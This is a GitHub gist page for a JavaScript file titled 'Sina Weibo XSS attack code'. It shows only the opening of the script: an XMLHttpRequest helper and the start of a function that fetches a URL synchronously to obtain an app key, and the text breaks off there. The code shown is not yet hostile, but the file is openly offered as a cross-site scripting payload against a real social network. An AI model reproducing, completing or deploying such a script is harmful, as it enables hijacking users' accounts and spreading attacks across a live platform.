Skip to content

Instantly share code, notes, and snippets.

View MichaelWayneLIU's full-sized avatar

MS MichaelWayneLIU

View GitHub Profile
@MichaelWayneLIU
MichaelWayneLIU / sina_xss.js
Created July 2, 2018 12:09 — forked from ninehills/sina_xss.js
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;